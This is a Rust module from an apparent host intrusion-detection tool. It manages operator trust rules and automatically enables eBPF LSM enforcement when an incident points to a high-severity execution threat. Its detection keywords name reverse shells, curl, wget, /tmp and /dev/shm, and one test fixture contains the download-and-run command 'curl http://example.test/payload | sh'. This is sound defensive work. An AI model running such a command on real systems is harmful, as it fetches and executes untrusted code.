use std::collections::HashSet;
use std::path::Path;

use tracing::warn;

const TRUST_RULES_FILE: &str = "trust-rules.json";

/// Load trust rules from data_dir/trust-rules.json.
/// Returns a HashSet of "detector:action" keys. Fail-open: returns empty on any error.
pub(crate) fn load_trust_rules(data_dir: &Path) -> HashSet<String> {
    let path = data_dir.join(TRUST_RULES_FILE);
    let Ok(content) = std::fs::read_to_string(&path) else {
        return HashSet::new();
    };
    let rules: Vec<serde_json::Value> = serde_json::from_str(&content).unwrap_or_default();
    rules
        .into_iter()
        .filter_map(|r| {
            let d = r["detector"].as_str()?.to_string();
            let a = r["action"].as_str()?.to_string();
            Some(format!("{d}:{a}"))
        })
        .collect()
}

/// Append a trust rule to data_dir/trust-rules.json and update the in-memory set.
/// Fail-open: logs a warning on I/O errors.
pub(crate) fn append_trust_rule(
    data_dir: &Path,
    trust_rules: &mut HashSet<String>,
    detector: &str,
    action: &str,
) {
    let key = format!("{detector}:{action}");
    if trust_rules.contains(&key) {
        return; // already trusted
    }
    trust_rules.insert(key);

    let path = data_dir.join(TRUST_RULES_FILE);
    let mut rules: Vec<serde_json::Value> = std::fs::read_to_string(&path)
        .ok()
        .and_then(|c| serde_json::from_str(&c).ok())
        .unwrap_or_default();
    rules.push(serde_json::json!({ "detector": detector, "action": action }));

    match serde_json::to_string_pretty(&rules) {
        Ok(content) => {
            if let Err(e) = std::fs::write(&path, content) {
                warn!("failed to write trust-rules.json: {e:#}");
            }
        }
        Err(e) => warn!("failed to serialise trust rules: {e:#}"),
    }
}

/// Returns true if a (detector, action) pair has been trusted by the operator.
pub(crate) fn is_trusted(trust_rules: &HashSet<String>, detector: &str, action: &str) -> bool {
    trust_rules.contains(&format!("{detector}:{action}"))
        || trust_rules.contains(&format!("*:{action}"))
        || trust_rules.contains(&format!("{detector}:*"))
        || trust_rules.contains("*:*")
}

/// Returns true if an incident represents a high-severity execution threat
/// that warrants automatic LSM enforcement (blocking /tmp, /dev/shm execution).
pub(crate) fn should_auto_enable_lsm(incident: &innerwarden_core::incident::Incident) -> bool {
    use innerwarden_core::event::Severity;

    if !matches!(incident.severity, Severity::High | Severity::Critical) {
        return false;
    }

    let detector = incident.incident_id.split(':').next().unwrap_or("");
    let title_lower = incident.title.to_lowercase();
    let summary_lower = incident.summary.to_lowercase();

    if detector == "suspicious_execution" || detector == "execution_guard" {
        return title_lower.contains("reverse shell")
            || title_lower.contains("download")
            || summary_lower.contains("/tmp/")
            || summary_lower.contains("/dev/shm/")
            || summary_lower.contains("curl")
            || summary_lower.contains("wget");
    }

    if detector == "lsm" {
        return true;
    }

    if detector == "container_escape" {
        return summary_lower.contains("/tmp") || summary_lower.contains("/dev/shm");
    }

    false
}

/// Enable LSM enforcement by setting key 0 = 1 in the pinned policy map.
pub(crate) async fn enable_lsm_enforcement() -> Result<(), String> {
    const LSM_POLICY_PIN: &str = "/sys/fs/bpf/innerwarden/lsm_policy";

    let output = tokio::process::Command::new("sudo")
        .args([
            "bpftool",
            "map",
            "update",
            "pinned",
            LSM_POLICY_PIN,
            "key",
            "0",
            "0",
            "0",
            "0",
            "value",
            "1",
            "0",
            "0",
            "0",
            "any",
        ])
        .output()
        .await
        .map_err(|e| format!("failed to run bpftool: {e}"))?;

    if output.status.success() {
        Ok(())
    } else {
        Err(String::from_utf8_lossy(&output.stderr).to_string())
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use innerwarden_core::event::Severity;
    use innerwarden_core::incident::Incident;
    use tempfile::TempDir;

    fn mock_incident(
        incident_id: &str,
        title: &str,
        summary: &str,
        severity: Severity,
    ) -> Incident {
        Incident {
            ts: chrono::Utc::now(),
            host: "test-host".to_string(),
            incident_id: incident_id.to_string(),
            severity,
            title: title.to_string(),
            summary: summary.to_string(),
            evidence: serde_json::json!({}),
            recommended_checks: vec![],
            tags: vec![],
            entities: vec![],
        }
    }

    #[test]
    fn test_is_trusted() {
        let mut rules = HashSet::new();
        rules.insert("ssh_bruteforce:block_ip".to_string());
        rules.insert("*:monitor".to_string());
        rules.insert("port_scan:*".to_string());

        assert!(is_trusted(&rules, "ssh_bruteforce", "block_ip"));
        assert!(is_trusted(&rules, "any_detector", "monitor"));
        assert!(is_trusted(&rules, "port_scan", "anything"));

        assert!(!is_trusted(&rules, "ssh_bruteforce", "suspend_user"));
        assert!(!is_trusted(&rules, "unknown", "block_ip"));
    }

    #[test]
    fn load_trust_rules_missing_file_returns_empty_set() {
        let temp = TempDir::new().expect("test tempdir");
        let rules = load_trust_rules(temp.path());
        assert!(rules.is_empty());
    }

    #[test]
    fn load_trust_rules_malformed_json_returns_empty_set() {
        let temp = TempDir::new().expect("test tempdir");
        std::fs::write(temp.path().join(TRUST_RULES_FILE), "{ definitely not json")
            .expect("write malformed trust rules");
        let rules = load_trust_rules(temp.path());
        assert!(rules.is_empty());
    }

    #[test]
    fn load_trust_rules_filters_incomplete_entries() {
        let temp = TempDir::new().expect("test tempdir");
        std::fs::write(
            temp.path().join(TRUST_RULES_FILE),
            serde_json::json!([
                { "detector": "ssh_bruteforce", "action": "block_ip" },
                { "detector": "missing_action" },
                { "action": "missing_detector" },
                "wrong shape"
            ])
            .to_string(),
        )
        .expect("write trust rules");

        let rules = load_trust_rules(temp.path());
        assert_eq!(rules.len(), 1);
        assert!(rules.contains("ssh_bruteforce:block_ip"));
    }

    #[test]
    fn append_trust_rule_persists_and_deduplicates() {
        let temp = TempDir::new().expect("test tempdir");
        let mut rules = HashSet::new();

        append_trust_rule(temp.path(), &mut rules, "ssh_bruteforce", "block_ip");
        append_trust_rule(temp.path(), &mut rules, "ssh_bruteforce", "block_ip");
        append_trust_rule(temp.path(), &mut rules, "port_scan", "monitor");

        assert!(rules.contains("ssh_bruteforce:block_ip"));
        assert!(rules.contains("port_scan:monitor"));

        let loaded = load_trust_rules(temp.path());
        assert_eq!(loaded.len(), 2);
        assert!(is_trusted(&loaded, "ssh_bruteforce", "block_ip"));
        assert!(is_trusted(&loaded, "port_scan", "monitor"));

        let persisted: Vec<serde_json::Value> = serde_json::from_str(
            &std::fs::read_to_string(temp.path().join(TRUST_RULES_FILE)).unwrap(),
        )
        .expect("persisted trust rules should be valid json");
        assert_eq!(persisted.len(), 2);
    }

    #[test]
    fn is_trusted_supports_global_wildcard_without_close_matches() {
        let mut rules = HashSet::new();
        rules.insert("*:*".to_string());
        assert!(is_trusted(&rules, "anything", "anything"));

        rules.clear();
        rules.insert("ssh_bruteforce:block_ip".to_string());
        assert!(!is_trusted(&rules, "ssh_bruteforce_extra", "block_ip"));
        assert!(!is_trusted(&rules, "ssh_bruteforce", "block_ip_now"));
    }

    #[test]
    fn test_should_auto_enable_lsm() {
        // Low severity is always false regardless of detector
        let inc1 = mock_incident(
            "suspicious_execution:01",
            "download",
            "/tmp/foo",
            Severity::Medium,
        );
        assert!(!should_auto_enable_lsm(&inc1));

        // High severity + execution guard + /tmp
        let inc2 = mock_incident(
            "execution_guard:01",
            "sh",
            "/tmp/malware run",
            Severity::High,
        );
        assert!(should_auto_enable_lsm(&inc2));

        // High severity + lsm
        let inc3 = mock_incident("lsm:01", "blocked", "something", Severity::Critical);
        assert!(should_auto_enable_lsm(&inc3));

        // High severity + container_escape + /dev/shm
        let inc4 = mock_incident(
            "container_escape:01",
            "mount",
            "mounted /dev/shm",
            Severity::High,
        );
        assert!(should_auto_enable_lsm(&inc4));

        // Unrelated high severity
        let inc5 = mock_incident(
            "ssh_bruteforce:01",
            "brute",
            "password fail",
            Severity::High,
        );
        assert!(!should_auto_enable_lsm(&inc5));
    }

    #[test]
    fn should_auto_enable_lsm_matches_execution_threat_keywords() {
        let reverse_shell = mock_incident(
            "suspicious_execution:01",
            "Reverse shell launched",
            "bash process",
            Severity::High,
        );
        assert!(should_auto_enable_lsm(&reverse_shell));

        let download = mock_incident(
            "suspicious_execution:02",
            "benign title",
            "curl http://example.test/payload | sh",
            Severity::Critical,
        );
        assert!(should_auto_enable_lsm(&download));

        let unrelated = mock_incident(
            "execution_guard:03",
            "process started",
            "normal /usr/bin/id execution",
            Severity::High,
        );
        assert!(!should_auto_enable_lsm(&unrelated));
    }

    #[test]
    fn should_auto_enable_lsm_rejects_container_escape_without_tmp_or_shm() {
        let incident = mock_incident(
            "container_escape:01",
            "namespace probe",
            "read-only cgroup metadata access",
            Severity::Critical,
        );
        assert!(!should_auto_enable_lsm(&incident));
    }
}
